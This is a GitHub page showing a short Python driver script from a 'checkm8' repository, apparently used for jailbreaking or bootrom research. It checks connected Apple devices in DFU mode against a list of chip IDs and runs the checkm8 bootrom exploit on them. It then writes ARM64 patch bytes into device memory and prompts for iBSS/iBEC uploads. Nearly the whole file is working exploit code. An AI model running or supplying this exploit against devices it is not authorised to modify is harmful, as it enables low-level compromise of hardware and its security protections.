checkm8/main at master · MLGRadish/checkm8 · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python3

import binascii, datetime, getopt, hashlib, struct, sys, time
import dfu
import checkm8, usbexec

HOST2DEVICE = 0x21
DEVICE2HOST = 0xA1

DFU_DNLOAD = 1
DFU_ABORT = 4

read = True

if __name__ == '__main__':
  device = dfu.acquire_device()
  serial_number = device.serial_number
  dfu.release_device(device)

  if 'CPID:8947' in serial_number:
    checkm8.exploit()
  elif 'CPID:8950' in serial_number:
    checkm8.exploit()
  elif 'CPID:8955' in serial_number:
    checkm8.exploit()
  elif 'CPID:8960' in serial_number:
    checkm8.exploit()
  elif 'CPID:8002' in serial_number:
    checkm8.exploit()
  elif 'CPID:8004' in serial_number:
    checkm8.exploit()
  elif 'CPID:8010' in serial_number:
    checkm8.exploit()
  elif 'CPID:8011' in serial_number:
    checkm8.exploit()
  elif 'CPID:8015' in serial_number:
    checkm8.exploit()
  else:
    print('Found:', serial_number)
    print('ERROR: This device is not supported.')
    sys.exit(1)

  time.sleep(2)

  print("Witing patches...")

  pdev = usbexec.PwnedUSBDevice()
  pdev.write_memory(0x100006ca8, b"\x1f\x20\x03\xd5")
  pdev.write_memory(0x100006c80, b"".join([
            b"\x21\x00\x80\x52", # mov w1, 1
            b"\xe1\xe7\x03\x39", # strb w1, [sp,#0xA7]
            b"\x1f\x20\x03\xd5", # nop
            b"\xe1\xef\x03\x39", # strb w1, [sp,#0xA9]
            b"\xe1\xf7\x03\x39", # strb w1, [sp,#0xAA]
            b"\x1f\x20\x03\xd5", # nop
            b"\x1f\x20\x03\xd5", # nop
            b"\x1f\x20\x03\xd5", # nop
            b"\x1f\x20\x03\xd5", # nop
          ]))

  print("Patches done")

  device = dfu.acquire_device()
  dfu.usb_reset(device)
  dfu.release_device(device)

  input("Upload IBSS, IBEC etc. and press enter")

  device = dfu.acquire_device()
  device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
  dfu.usb_reset(device)
  dfu.release_device(device)